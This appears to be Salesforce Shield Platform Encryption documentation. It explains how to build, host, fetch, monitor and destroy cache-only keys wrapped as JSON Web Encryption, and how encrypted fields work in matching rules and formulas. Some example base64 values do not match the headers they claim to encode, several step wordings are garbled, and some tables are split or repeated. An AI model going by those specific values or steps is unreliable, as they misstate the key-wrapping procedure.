**Figure 1: On-premises Key Service**

**Figure 2: Cloud-Based Key Service**

As a core offering of the Shield KMS, enhanced cache controls ensure that key material is stored securely while in the cache. The Shield KMS encrypts the fetched key material with an org-specific AES 256-bit cache encryption key and stores the encrypted key material in the cache for encrypt and decrypt operations. HSM-protected keys secure the cache encryption key in the cache, and the cache encryption key is rotated along with key lifecycle events such as key destruction and rotation.
The enhanced cache controls provide a single source of truth for key material used to encrypt and decrypt your data. Subsequent encryption and decryption requests go through the encrypted key cache until the cache-only key is revoked or rotated, or the cache is flushed. Once the cache is flushed, the Cache-Only Key Service fetches key material from your specified key service. The cache is regularly flushed every 72 hours, and certain Salesforce operations flush the cache on average every 24 hours. Destroying a data encryption key invalidates the corresponding data encryption key that’s stored in the cache.

Because cache-only keys bypass the key derivation process, they’re used to directly encrypt and decrypt your data.

Prerequisites and Terminology for Cache-Only Keys

Shield Platform Encryption’s Cache-Only Key Service offers you more control over your key material. When you use cache-only keys, you control more of the key management tasks. Before you start using the service, understand how to create and host your key material in a way that’s compatible with Salesforce’s BYOK service.

Prerequisites

- Prepare your Salesforce org. Make sure that your org has at least one active Data in Salesforce key, either Salesforce-generated or customer-supplied. You can create a tenant secret by clicking Generate Tenant Secret on the Key Management page in Setup.

- Generate and Host Key Material. The cache-only key exchange protocol and format requires that keys are wrapped in an opinionated JSON Web Encryption (JWE). This format uses RSAES-OAEP for key encryption and AES GCM for content encryption. Use a secure, trusted service to generate, store, and back up your key material.

- Use and maintain a reliable high-availability key service. Choose a high-availability key service with an acceptable service level agreement (SLA), predefined maintenance procedures, and processes to mitigate any potential impact to business continuity. When the connection between Salesforce and your key service is broken, the Cache-Only Key Service can encrypt and decrypt data as long as your key material is in the cache. However, keys don’t stay in the cache for long. The cache is regularly flushed every 72 hours, but some Salesforce operations flush the cache about every 24 hours. If your key material isn’t in the cache, and the connection to your key service is broken, users can’t encrypt or decrypt records. Make sure that you use a key service that Salesforce can connect to at any time. This is especially important during busy times like the end of year or end of quarter.

- Maintain a secure callout endpoint. The cache-only key exchange protocol requires that keys are wrapped in an opinionated JSON format. Host your wrapped key inside the key response at a location Salesforce can request. The Catch-Only Key Service uses named credentials to establish a secure, authenticated connection to allowed IP addresses and domains. You can configure your named credentials to use popular authentication formats, such as Mutual TLS and OAuth. You can change these authentication protocols at any time.

- Actively monitor your key service logs for errors. While Salesforce is here to help you with the Shield Platform Encryption service, you are responsible for maintaining the high-availability key service that you use to host your key material. You can use the RemoteKeyCalloutEvent object to review or track cache-only key events.

  Warning: Because you’re in control of your keys, you’re responsible for securing and backing up your key material. Salesforce can’t retrieve lost key material stored outside of our encrypted key cache.

- Know how to format and assemble your key material. Format key material hosted outside of Salesforce in a way that’s compatible with the Cache-Only Key Service. Make sure that you can generate the following components in the required formats.

<table>
<thead>
<tr>
<th>Component</th>
<th>Format</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data encryption key (DEK)</td>
<td>AES 256-bit</td>
</tr>
</tbody>
</table>
**Component** | **Format**
--- | ---
Content encryption key (CEK) | AES 256-bit
BYOK-compatible certificate | A 4096-bit RSA certificate who’s private key is encrypted with a derived, org-specific tenant secret key
JSON Web Encryption content and header | See a sample in Github
Algorithm for encrypting the CEK | RSA-OAEP
Algorithm for encrypting the DEK | A256GCM
Unique key identifier | Allows numbers, uppercase and lowercase letters, periods, hyphens, and underscores
Initialization vector | Encoded in base64url
JSON web token ID (JTI) | A 128-bit hex encoded, randomly generated identifier

Read more about assembling your key material in the Generate and Assemble Cache-Compatible Keys section. You can also look at our Cache-Only Key Wrapper in Github for examples and sample utility.

**Terminology**

Here are some terms that are specific to the Cache-Only Key Service.

**Content Encryption Key**

For each key request, your key service endpoint generates a unique content encryption key. The content encryption key wraps the data encryption key, which is in turn encrypted by the key encrypting key and placed in the JWE header of the key response.

**JSON Web Encryption**

The JSON-based structure that the Shield Platform Encryption service uses to encrypted content. JSON Web Encryption, or JWE, uses RSAES-OAEP for key encryption and AES GCM for content encryption.

**JSON Web Token ID**

A unique identifier for the JSON web token, which enables identity and security information to be shared across security domains.

**Key Identifier**

The Key ID, or KID, is the unique identifier for your key. The KID is used as the suffix in the named credential and for validation of the KID in the response. In Setup, enter this identifier in the Unique Key Identifier field.
Create and Assemble Your Key Material

The Shield Platform Encryption Cache-Only Key Service is compatible with 256-bit AES keys returned in a JSON response, and then wrapped using JSON Web Encryption (JWE).

Cache-only key material is wrapped in a JSON format. An example cache-only key is used throughout this article to illustrate how key material changes as you assemble it.

1. Generate a 256-bit AES data encryption key. You can use the cryptographically secure method of your choice.
2. Generate a 256-bit AES content encryption key using a cryptographically secure method.
3. Generate and download your BYOK-compatible certificate.
4. Create the JWE protected header. The JWE protected header is a JSON object with 3 claims: the algorithm used to encrypt the content encryption key, the algorithm used to encrypt the data encryption key, and the unique ID of the cache-only key. Here's an example header to get us started.

   ```json
   {"alg":"RSA-OAEP","enc":"A256GCM","kid":"982c375b-f46b-4423-8c2d-4d1a69152a0b"}
   ```
5. Encode the JWE protected header as BASE64URL(UF8(JWE Protected Header)).

   eyJhbGciOiJtSGV4cFddkFtJCI6OjEyNTZHQ00iLCJraWQiOiJ5ODJjMzc1Y1lmdkZlLTEyMDIzMi00MjIyNTM5LTA1OTYtNzQyNjg4LTI0OTI3NjIiLCJ0aWQiOiI5ODJjMzc1Yi1mNDZiLTQ0MjMtOGMyZC00ZDJhMGIiQ0
6. Encrypt the content encryption key with the public key from the BYOK certificate using the RSAES-OAEP algorithm. Then encode this encrypted content encryption key as BASE64URL(Encrypted CEK).

   bFK3p52SpSYreFTh12DPm1kLbA74nC0g06B6V2Nrtg6R0emgG-j1519oG5NjA3VqkvYmIg1mJWfSfNQ032d4Tm1a6d6a0GmJFHM151hNtGhnoG4G6V3RyoD6R56dJENh1MD-xzG90
7. Generate an initialization vector for use as input to the data encryption key’s AES wrapping. Then encode it in base64url.

   N2WVMbpAxipAtG90
8. Wrap your data encryption key with your content encryption key.
   a. Encode the JWE header as ASCII(BASE64URL(UF8(JWE Protected Header)))).
   b. Reform authenticated encryption on the data encryption key with the AES GCM algorithm. Use the content encryption key as the encryption key, the initialization vector (the bytes, not the base64URL encoded version), and the Additional Authenticated Data value, requesting a 128-bit Authentication Tag output.
   c. Encode the resulting ciphertext as BASE64URL(Ciphertext).
   d. Encode the Authentication Tag as BASE64URL(Confirmation Tag).
Assemble your JWE as a compact serialization of all the preceding values. Concatenate values separated by a period.

For more detailed examples of this process, check out the sample Cache-Only Key Wrapper in Github. You can use either the utility in this repository or another service of your choosing.
Configure Your Cache-Only Key Callout Connection

Use a named credential to specify the endpoint for your callout, and identify the key that you want to fetch from your endpoint.

1. Make sure that your org has at least one active Data in Salesforce key, either Salesforce-generated or customer-supplied. You can create a tenant secret by clicking Generate Tenant Secret on the Key Management page in Setup.

2. From Setup, enter Named Credential in the Quick Find box, then select Named Credential.

   **Tip:** A named credential provides an authenticated callout mechanism through which Salesforce can fetch your key material. Because named credentials are allowlisted, they’re a secure and convenient channel for key material stored outside of Salesforce.

   Learn more about named credentials, how to define a named credential, and how to grant access to authentication settings for named credentials in Salesforce Help.

3. Create a named credential. Specify an HTTPS endpoint from which Salesforce can fetch your key material.

4. From Setup, enter Platform Encryption in the Quick Find box and select Advanced Settings.

5. Select Allow Cache-Only Keys.

   You can also enable the Cache-Only Key Service programmatically. For more information, see EncryptionKeySettings in the Metadata API Developer Guide.

   **Note:** If you deselect Allow Cache-Only Keys, data encrypted with cache-only key material remains encrypted and Salesforce continues to invoke secured callouts. However, you can’t modify your cache-only key configuration or add new ones. If you don’t want to use cache-only keys, rotate your key material to use customer-supplied (BYOK) key material. Then synchronize all your data, and deselect Allow Cache-Only Keys.

6. From Setup, enter Platform Encryption in the Quick Find box, then select Key Management.

7. Choose a key type from the Tenant Secret Type dropdown.

8. Select Bring Your Own Key.

9. Select a BYOK-compatible certificate from the Choose Certificate dropdown.

10. Select Use a Cache-Only Key.

11. For Unique Key Identifier, enter your KID—the unique key identifier for your data encryption key. Your identifier can be a number, a string (2018_data_key), or a UUID (982c375b-f46b-4423-8c2d-4d1a69152a0b).

12. In the Named Credential dropdown, select the named credential associated with your key. You can have multiple keys associated with each named credential.
Salesforce checks the connection to the endpoint specified by the named credential. If Salesforce can reach the endpoint, the key specified for the Unique Key Identifier becomes the active key. All data marked for encryption by your encryption policy is encrypted with your cache-only key.

If Salesforce can’t reach the specified endpoint, an error displays to help you troubleshoot the connection.

Cache-only key status is recorded as Fetched on the Key Management page. In Enterprise API, the TenantSecret Source value is listed as Remote.

Tip: You can monitor key configuration callouts in the Setup Audit Trail. When a callout to an active or archived cache-only key is successful, the Setup Audit Trail logs an Activated status. Individual callouts aren’t monitored in Setup Audit Trail.
Add Replay Detection for Cache-Only Keys

Replay detection protects your cache-only keys if a callout is fraudulently intercepted. When enabled, replay detection inserts an autogenerated, unique marker called a RequestIdentifier into every callout. The RequestIdentifier includes the key identifier, a nonce generated for that callout instance, and the nonce required from the endpoint. The RequestIdentifier serves as a random, one-time identifier for each valid callout request. Once you set up your key service to accept and return the RequestIdentifier, any callout with missing or mismatched RequestIdentifiers is aborted.

1. Update your key service to extract the nonce generated for the callout instance from the RequestIdentifier. Here’s what the nonce looks like.
   
   e5ab58fd2ced013f2a46d5c8144dd439

2. Echo this nonce in the JWE protected header, along with the algorithm used to encrypt the content encryption key, the algorithm used to encrypt the data encryption key, and the unique ID of the cache-only key. Here’s an example.

   
   
   ```json
   {"alg":"RSA-OAEP","enc":"A256GCM","kid":"982c375b-f46b-4423-8c2d-4d1a69152a0b","jti":"e5ab58fd2ced013f2a46d5c8144dd439"}
   ```

3. From Setup, enter Platform Encryption in the Quick find box, and click Advanced Settings.


You can also enable replay detection programmatically. For more information, see EncryptionKeySettings in the Metadata API Developer Guide.

From now on, every callout to an external key service includes a unique RequestIdentifier.

**Warning:** If you enable replay detection but don’t return the nonce with your cache-only key material, Salesforce aborts the callout connection and displays a POTENTIAL_REPLAY_ATTACK_DETECTED error.
Check Your Cache-Only Key Connection

Because your cache-only key material is stored outside of Salesforce, it’s important to maintain a functional callout connection. Use the Callout Check page to monitor your connection and quickly respond to key service interruptions that could prevent the service from fetching your keys.

The Cache-Only Key: Callout Check page is accessible after you enable the Cache-Only Key Service in your org and make your first callout. Data presented as part of a callout check are never stored in the system of record.

1. From Setup, enter **Platform Encryption** in the Quick Find box, then select **Key Management**.
2. Choose the Certificate Unique Name and Named Credential associated with your Unique Key Identifier.
3. In the Actions column, next to the key material you want to check, click **Details**.
4. On the Cache-Only Key: Callout Check page, click **Check**. Details about your callout connection display on the page. It can take a few moments for the callout check to complete and display the results.

5. Review the details about your callout connection. If your callout connection was unsuccessful, you see a descriptive error message at the bottom of the results pane. Use this message to make the appropriate adjustments to your key service.
Destroy a Cache-Only Key

When you destroy a cache-only key, you’re destroying two things: the key in the cache, and the callout connection to the key service.

1. From Setup, enter Platform Encryption in the Quick Find box, then select Key Management.
2. Choose a key type from the Tenant Secret Type dropdown.
3. Click Destroy.
   
   Your key material’s status is changed to Destroyed, and callouts to this key stop. Data encrypted with this key material is masked with “?????” in the app.

! Note: Your cache-only key is unique to your org and to the specific data to which it applies. When you destroy a cache-only key, related data isn’t accessible unless you reactivate it and make sure that Salesforce can fetch it.

Reactivate a Cache-Only Key

If you still have your named credential associated with a key that was destroyed in Salesforce, you can reactivate a destroyed cache-only key from Setup or programmatically through the API. Reactivating a destroyed key makes it the active key. Before you reactivate a destroyed key, make sure that the corresponding key service connection is recovered.

1. From Setup, enter Platform Encryption in the Quick Find box, then select Key Management.
2. Next to cache-only key you want to reactivate, click Activate.
The Shield Key Management Service fetches the reactivated cache-only key from your key service, and uses it to access data that was previously encrypted with it.

Note: You can sync your data to your active cache-only key just like you can with any other key material.

### Considerations for Cache-Only Keys

These considerations apply to all data that you encrypt using the Shield Platform Encryption Cache-Only Key Service.

#### Retry Policy

If Salesforce can’t reach your external key service, the callout fails and your active cache-only key’s status is set to Destroyed. This policy prevents excessive loads on both services. The Cache-Only Key Service then periodically retries the callout to help you minimize down time. Retries occur one time per minute for five minutes, then one time every five minutes for 24 hours. If the Cache-Only Key Service can successfully complete a callout during this retry period, your cache-only key’s status is reset to Active.

At any point during a retry period, you can activate your key material through Setup or the API pending remote key service availability. If you reactivate your key material during the retry period, all retry attempts stop.

The RemoteKeyCalloutEvent object captures every callout to your key service. You can subscribe to this event with after insert Apex triggers, and set up real-time alerts that notify you when a callout fails.

#### 401 HTTP Responses

If there’s a 401 HTTP response, Salesforce automatically refreshes any OAuth token associated with your named credential, and retries the request.
CRM Analytics

Backups of CRM Analytics data are encrypted with your Shield Platform Encryption keys. If you encrypt data in CRM Analytics datasets with a cache-only key, make sure that the Analytics cache-only key is in the same state as your Data in Salesforce-type cache-only key.

Setup Audit Trail

Setup Audit Trail records activated cache-only key versions differently depending on whether a cache-only key with the Active status exists when you reactivate the key.

However, if you reactivate a destroyed key and there’s already another key with the Active status, the Setup Audit Trail shows the reactivated key with an updated version number.

Cache-Only Keys and Key Types

Use a separate cache-only key for each type of data you want to encrypt. You can’t use a cache-only key with multiple key types. For example, you can’t use a cache-only key to encrypt both search indexes and CRM Analytics data.

Service Protections

To protect against Shield KMS interruptions and ensure smooth encryption and decryption processes, you can have up to 10 active and archived cache-only keys of each type.

If you reach your key limit, destroy an existing key so that you can create, upload, reactivate, rearchive, or create a callout to another one. Remember to synchronize your data with an active key before destroying key material.

Troubleshoot Cache-Only Keys

One or more of these frequently asked questions may help you troubleshoot any problems that arise with Shield Platform Encryption’s Cache-Only Key Service.

**The callout to my key service isn’t going through. What can I do?**

Callouts can fail for various reasons. Review the error message that displays and follow these tips for resolving the problem. All callouts are recorded in the RemoteKeyCalloutEvent object.

<table>
<thead>
<tr>
<th>RemoteKeyCalloutEvent Status Code</th>
<th>Error Description</th>
<th>Tips for Fixing the Problem</th>
</tr>
</thead>
<tbody>
<tr>
<td>DESTROY_HTTP_CODE</td>
<td>The remote key service returned an HTTP error: {000}. A successful HTTP response returns a 200 code.</td>
<td>To find out what went wrong, review the HTTP response code.</td>
</tr>
<tr>
<td>ERROR_HTTP_CODE</td>
<td>The remote key service returned an unsupported HTTP response code: {000}. A successful HTTP response returns a 200 code.</td>
<td>To find out what went wrong, review the HTTP response code.</td>
</tr>
<tr>
<td>MALFORMED_CONTENT_ENCRYPTION_KEY</td>
<td>The remote key service returned a content encryption error.</td>
<td>Check that you set up your named credential properly.</td>
</tr>
<tr>
<td>RemoteKeyCalloutEvent Status Code</td>
<td>Error</td>
<td>Tips for Fixing the Problem</td>
</tr>
<tr>
<td>----------------------------------</td>
<td>-------</td>
<td>-----------------------------</td>
</tr>
<tr>
<td>Key in the JWE that couldn’t be decrypted with the certificate’s private key. Either the JWE is corrupted, or the content encryption key is encrypted with a different key.</td>
<td>and are using the correct BYOK-compatible certificate.</td>
<td></td>
</tr>
<tr>
<td>MALFORMED_DATA_ENCRYPTION_KEY</td>
<td>The content encryption key couldn’t decrypt the data encryption key that was returned in the remote key service’s JWE. The data encryption key is either malformed, or encrypted with a different content encryption key.</td>
<td>Check that you set up your named credential properly and are using the correct BYOK-compatible certificate. Named credentials must call out to an HTTPS endpoint.</td>
</tr>
<tr>
<td>MALFORMED_JSON_RESPONSE</td>
<td>We can’t parse the JSON returned by your remote key service. Contact your remote key service for help.</td>
<td>Contact your remote key service.</td>
</tr>
<tr>
<td>MALFORMED_JWE_RESPONSE</td>
<td>The remote key service returned a malformed JWE token that can’t be decoded. Contact your remote key service for help.</td>
<td>Contact your remote key service.</td>
</tr>
<tr>
<td>EMPTY_RESPONSE</td>
<td>The remote key service callout returned an empty response. Contact your remote key service for help.</td>
<td>Contact your remote key service.</td>
</tr>
<tr>
<td>RESPONSE_TIMEOUT</td>
<td>The remote key service callout took too long and timed out. Try again.</td>
<td>If your key service is unavailable after multiple callout attempts, contact your remote key service.</td>
</tr>
<tr>
<td>UNKNOWN_ERROR</td>
<td>The remote key service callout failed and returned an error: (000).</td>
<td>Contact your remote key service.</td>
</tr>
<tr>
<td>INCORRECT_KEYID_IN_JSON</td>
<td>The remote key service returned JSON with an incorrect key ID. Expected: {valid keyID}. Actual: {invalid keyID}.</td>
<td>Check that you set up your named credential properly and are using the correct BYOK-compatible certificate.</td>
</tr>
<tr>
<td>INCORRECT_KEYID_IN_JWE_HEADER</td>
<td>The remote key service returned a JWE header with an incorrect key ID. Expected: {valid keyID}. Actual: {invalid keyID}.</td>
<td>Check that you set up your named credential properly and are using the correct BYOK-compatible certificate.</td>
</tr>
<tr>
<td>INCORRECT_ALGORITHM_IN_JWE_HEADER</td>
<td>The remote key service returned a JWE header that specified an unsupported algorithm (alg): {algorithm}.</td>
<td>The algorithm for encrypting the content encryption key in your JWE header must be in RSA-OAEP format.</td>
</tr>
<tr>
<td>INCORRECT_ENCRYPTION_ALGORITHM_IN_JWE_HEADER</td>
<td>The remote key service returned a JWE header that specified an unsupported encryption algorithm (enc): {your enc}.</td>
<td>The algorithm for encrypting the data encryption key in your JWE header must be in A256GCM format.</td>
</tr>
<tr>
<td>INCORRECT_DATA_ENCRYPTION_KEY_SIZE</td>
<td>Data encryption keys encoded in a JWE must be 32 bytes. Yours is {value} bytes.</td>
<td>Make sure that your data encryption key is 32 bytes.</td>
</tr>
</tbody>
</table>
The following key service errors can prevent the callout from completing. If you see errors related to these problems, contact your key service administrator for help.

- The JWE is corrupt or malformed.
- The data encryption key is malformed.
- The key service returned a malformed JWE token.
- The key service returned an empty response.

For uniform resource use, Salesforce limits the amount of time for each key service callout to 3 seconds. If the callout takes more than the allotted time, Salesforce fails the callout with a timeout error. Check that your key service is available. Make sure that your named credential references the correct endpoint—check the URL, including the IP address.

**Can I execute a remote callout in Apex?**

Yes. Salesforce manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn't have to. To reference a named credential from a callout definition, use the named credential URL. A named credential URL contains the scheme callout, the name of the named credential, and an optional path. For example:

callout:My_Named_Credential/some_path.

See Named Credentials as Callout Endpoints in the Apex Developer Guide.

**Can I monitor my callout history?**

If you want to review or track cache-only key events, use the RemoteKeyCalloutEvent standard object. Either use the describeSobjects() call to view event information, or an after insert Apex trigger to perform custom actions after each callout. For example, you can write a trigger that stores RemoteKeyCallout events in a custom object. When you store RemoteKeyCallout events in a custom object, you can monitor your callout history. See the RemoteKeyCalloutEvent entry in the Salesforce Object Reference for more information.

The Setup Audit Trail tracks changes in key material state and named credential settings. Callout history isn't recorded in log files.
When I try to access data encrypted with a cache-only key, I see "?????" instead of my data. Why?

Masking means one of two things. Either the connection to your key service is broken and we can’t fetch your key, or the data is encrypted with a destroyed key. Check that your key service is available and that your named credential references the correct endpoint. If any key versions are marked as Destroyed as a result of a key service failure, recover the connection and manually activate the key version.

Do I have to make a new named credential every time I rotate a key?

Nope. You can use a named credential with multiple keys. As long as you host your key material at the endpoint specified in an existing named credential, you’re all set. When you rotate your key material, change the key ID in the Unique Key Identifier field. Double-check that your new key is stored at the specified endpoint URL in your named credential.

I’m still having problems with my key. Who should I talk to?

If you still have questions, contact your account executive or Salesforce Customer Support. They’ll put you in touch with a support team specific to this feature.

Shield Platform Encryption Customizations

Some features and settings require adjustment before they work with encrypted data.

IN THIS SECTION:

Apply Encryption to Fields Used in Matching Rules

Matching rules used in duplicate management help you maintain clean and accurate data. To make fields encrypted with Shield Platform Encryption compatible with standard and custom matching rules, use the deterministic encryption scheme.

Use Encrypted Data in Formulas

Use custom formula fields to quickly find encrypted data. Shield Platform Encryption is compatible with several operators and functions, and can render encrypted data in text, date, and date/time formats, and reference quick actions.
Apply Encryption to Fields Used in Matching Rules

Matching rules used in duplicate management help you maintain clean and accurate data. To make fields encrypted with Shield Platform Encryption compatible with standard and custom matching rules, use the deterministic encryption scheme.

Ask an administrator to enable **Deterministic Encryption** from the Platform Encryption Advanced Settings page. If you don’t have a Data in Salesforce (Deterministic) type tenant secret, create one from the Platform Encryption Key Management page.

**Important:** Matching rules used in duplicate management don’t support probabilistically encrypted data.

Follow these steps to add encrypted fields to existing custom matching rules.

1. From Setup, in the Quick Find box, enter *Matching Rules*, and then select **Matching Rules**.
2. Deactivate the matching rule that reference fields you want to encrypt. If your matching rule is associated with an active duplicate rule, first deactivate the duplicate rule from the Duplicate Rules page. Then return to the Matching Rules page and deactivate the matching rule.
3. From Setup, in the Quick Find box, enter *Platform Encryption*, and then select **Encryption Policy**.
4. Click **Encrypt Fields**.
5. Click **Edit**.
6. Select the fields you want to encrypt, and select **Deterministic** from the Encryption Scheme list.
7. Click **Save**.
   **Tip:** Standard matching rules are automatically deactivated when encryption is added to a field referenced by that rule. To encrypt fields referenced in standard matching rules, follow steps 3–8.
8. After you get the email verifying encryption’s been enabled on your fields, reactivate your matching rule and associated duplicate management rule.
   Matching rules used in duplicate management now return exact and fuzzy matches on encrypted data.

**Example:** Let’s say you recently encrypted Billing Address on your Contacts, and you want to add this field to a custom matching rule. First, deactivate the rule or rules you want to add this field to. Make sure that Billing Address is encrypted with the deterministic encryption scheme. Then add Billing Address to your custom matching rule, just like you would add any other field. Finally, reactivate your rule.

When you rotate your key material, you must update custom matching rules that reference encrypted fields. After you rotate your key material, deactivate and then reactivate the affected matching rules. Then contact Salesforce to request the background encryption process. When the background encryption process finishes, your matching rules can access all data encrypted with your active key material.
Important: To ensure accurate matching results, customers who used the beta version of this feature must deactivate any matching rules that reference encrypted fields and then reactivate them. If your custom matching rule fails on reactivation, contact Salesforce for help reactivating your match index.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Use Encrypted Data in Formulas

Use custom formula fields to quickly find encrypted data. Shield Platform Encryption is compatible with several operators and functions, and can render encrypted data in text, date, and date/time formats, and reference quick actions.

Supported Operators, Functions, and Actions

Supported operators and functions:
- & and + (concatenate)
- BLANKVALUE
- CASE
- HYPERLINK
- IF
- IMAGE
- ISBLANK
- ISNULL
- NULLVALUE

Also supported:
- Spanning
- Quick actions

Formulas can return data only in text, date, or date/time formats.

& and + (Concatenate)

This works:

\[(encryptedField__c & encryptedField__c)\]

Why it works: This works because & is supported.

This doesn’t work:

\[\text{LOWER}(encryptedField__c & encryptedField__c)\]

Why it doesn’t work: LOWER isn’t a supported function, and the input is an encrypted value.

Case

CASE returns encrypted field values, but doesn’t compare them.
This works:

```plaintext
CASE(custom_field__c, "1", cf2__c, cf3__c)
```

where either or both cf2__c and cf3__c are encrypted

Why it works:

custom_field__c is compared to “1”. If it is true, the formula returns cf2__c because it’s not comparing two encrypted values.

This doesn’t work:

```plaintext
CASE("1", cf1__c, cf2__c, cf3__c)
```

where cf1__c is encrypted

Why it doesn’t work:

You can’t compare encrypted values.

**ISBLANK and ISNULL**

This works:

```plaintext
OR(ISBLANK(encryptedField__c), ISNULL(encryptedField__c))
```

Why it works:

Both ISBLANK and ISNULL are supported. OR works in this example because ISBLANK and ISNULL return a Boolean value, not an encrypted value.

**Spanning**

This works:

```plaintext
(LookupObject1__r.City & LookupObject1__r.Street) &
(LookupObject2__r.City & LookupObject2__r.Street) &
(LookupObject3__r.City & LookupObject3__r.Street) &
(LookupObject4__r.City & LookupObject4__r.Street)
```

How and why you use it:

Spanning retrieves encrypted data from multiple entities. For example, let’s say you work in the customer service department for Universal Containers. A customer has filed a case about a distribution problem, and you want to see the scope of the issue. You want all the shipping addresses related to this particular case. This example returns all the customers’ shipping addresses as a single string in your case layout.

**Validation**

The encryption validation service checks your org to make sure that it’s compatible with encrypted formula field types.

When you encrypt a given field, the validation service:

- Retrieves all formula fields that reference the field
- Verifies that the formula fields are compatible with encryption
- Verifies that the formula fields aren’t used elsewhere for filtering or sorting
Limits

Up to 200 formula fields can reference a given encrypted custom field. A field that is referenced by more than 200 formula fields can't be encrypted. If you need to reference an encrypted custom field from more than 200 formula fields, contact Salesforce.

When you specify multiple fields to encrypt at one time, the 200-field limit is applied to the whole batch. If you know that you are encrypting fields that have multiple formula fields pointing to them, encrypt those fields one at a time.

Tradeoffs and Limitations of Shield Platform Encryption

A security solution as powerful as Shield Platform Encryption doesn't come without some tradeoffs. When your data is encrypted, some users may see limitations to some functionality, and a few features aren't available at all. Consider the impact on your users and your overall business solution as you design your encryption strategy.

IN THIS SECTION:

Shield Platform Encryption Best Practices
Take the time to identify the most likely threats to your org. This process helps you distinguish data that needs encryption from data that doesn’t, so that you can encrypt only what you need to. Make sure that your tenant secret and keys are backed up, and be careful who you allow to manage your secrets and keys.

General Shield Platform Encryption Considerations
These considerations apply to all data that you encrypt using Shield Platform Encryption.

Considerations for Using Deterministic Encryption
These considerations apply to data encrypted with Shield Platform Encryption’s deterministic encryption scheme. Some considerations manifest differently depending on whether data is encrypted with the case-sensitive or case-insensitive deterministic encryption scheme.

Shield Platform Encryption and the Lightning Experience
Shield Platform Encryption works the same way in the Lightning Experience as it does in Salesforce Classic, with a few minor exceptions.

Field Limits with Shield Platform Encryption
Under certain conditions, encrypting a field can impose limits on the values that you store in that field. If you expect users to enter non-ASCII values, such as Chinese, Japanese, or Korean-encoded data, we recommend creating validation rules to enforce these field limits.

Which Salesforce Apps Don’t Support Shield Platform Encryption?
Some Salesforce features work as expected when you work with data that’s encrypted with Shield Platform Encryption. Others don’t.
Shield Platform Encryption Best Practices

Take the time to identify the most likely threats to your org. This process helps you distinguish data that needs encryption from data that doesn’t, so that you can encrypt only what you need to. Make sure that your tenant secret and keys are backed up, and be careful who you allow to manage your secrets and keys.

1. Define a threat model for your organization.
   To identify the threats that are most likely to affect your organization, walk through a formal threat modeling exercise. Use your findings to create a data classification scheme, which can help you decide what data to encrypt.

2. Encrypt only where necessary.
   • Not all data is sensitive. Focus on information that requires encryption to meet your regulatory, security, compliance, and privacy requirements. Unnecessarily encrypting data impacts functionality and performance.
   • Evaluate your data classification scheme early and work with stakeholders in security, compliance, and business IT departments to define requirements. Balance business-critical functionality against security and risk measures and challenge your assumptions periodically.

3. Create a strategy early for backing up and archiving keys and data.
   If your tenant secrets are destroyed, reimport them to access your data. You are solely responsible for making sure that your data and tenant secrets are backed up and stored in a safe place. Salesforce cannot help you with deleted, destroyed, or misplaced tenant secrets.

4. Read the Shield Platform Encryption considerations and understand their implications on your organization.
   • Evaluate the impact of the considerations on your business solution and implementation.
   • Test Shield Platform Encryption in a sandbox environment before deploying to a production environment. Encryption policy settings can be deployed using change sets.
   • Before enabling encryption, fix any violations that you uncover. For example, if you reference encrypted fields in a SOQL ORDER BY clause, a violation occurs. Fix the violation by removing references to the encrypted fields.
   • When requesting feature enablement, such as pilot features, give Salesforce Customer Support several days lead time. The time to complete the process varies based on the feature and how your org is configured.

5. Analyze and test AppExchange apps before deploying them.
   • If you use an app from the AppExchange, test how it interacts with encrypted data in your organization and evaluate whether its functionality is affected.
   • If an app interacts with encrypted data that’s stored outside of Salesforce, investigate how and where data processing occurs and how information is protected.
   • If you suspect Shield Platform Encryption could affect the functionality of an app, ask the provider for help with evaluation. Also discuss any custom solutions that must be compatible with Shield Platform Encryption.
   • Apps on the AppExchange that are built exclusively using Lightning Platform inherit Shield Platform Encryption capabilities and limitations.

6. Use out-of-the-box security tools.
   Shield Platform Encryption is not a user authentication or authorization tool. To control which users can see which data, use out-of-the-box tools such as field-level security settings, page layout settings, and sharing rules, rather than Shield Platform Encryption.
7. Grant the Manage Encryption Keys user permission to authorized users only.

Users with the Manage Encryption Keys permission can generate, export, import, and destroy organization-specific keys. Monitor the key management activities of these users regularly with the setup audit trail.

8. Synchronize your existing data with your active key material.

Existing field and file data is not automatically encrypted when you turn on Shield Platform Encryption. To encrypt existing field data, update the records associated with the field data. This action triggers encryption for these records so that your existing data is encrypted at rest. To encrypt existing files or get help updating other encrypted data, contact Salesforce. We can encrypt existing file data in the background to ensure data alignment with the latest encryption policy and key material.

When you contact Salesforce support to request the background encryption service, allow at least a week before you need the background encryption completed. The time to complete the process varies based on the volume of data involved. It could take several days.

9. Handle currency and number data with care.

Currency and Number fields can’t be encrypted because they could have broad functional consequences across the platform, such as disruptions to roll-up summary reports, report timeframes, and calculations. You can often keep private, sensitive, or regulated data of this variety safe in other encryption-supported field types.

10. Communicate to your users about the impact of encryption.

Before you enable Shield Platform Encryption in a production environment, inform users about how it affects your business solution. For example, share the information described in Shield Platform Encryption considerations, where it’s relevant to your business processes.

11. Encrypt your data using the most current key.

When you generate a new tenant secret, any new data is encrypted using this key. However, existing sensitive data remains encrypted using previous keys. In this situation, Salesforce strongly recommends re-encrypting these fields using the latest key. Contact Salesforce for help with re-encrypting your data.

12. Use discretion when granting login as access to users or Salesforce Customer Support.

If you grant login access to a user, and they have field level security access to an encrypted field, that user is able to view encrypted data in that field in plaintext.

If you want Salesforce Customer Support to follow specific processes around asking for or using login as access, you can create special handling instructions. Salesforce Customer Support follows these instructions in situations where login as access may help them resolve your case. To set up these special handling instructions, contact your account executive.
General Shield Platform Encryption Considerations

These considerations apply to all data that you encrypt using Shield Platform Encryption.

Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain terms to avoid any effect on customer implementations.

Leads

Lead and Case assignment rules, workflow rules, and validation rules work normally when Lead fields are encrypted. Matching and de-duplication of records during lead import works with deterministic encryption but not probabilistic encryption. Einstein Lead Scoring isn’t available. Apex Lead Conversion works normally, but PL-SQL-based lead conversion isn’t supported.

User Email

Many Salesforce features rely on the User Email field. Most work seamlessly with Shield Platform Encryption. But the following products and features behave differently when User Email is encrypted.

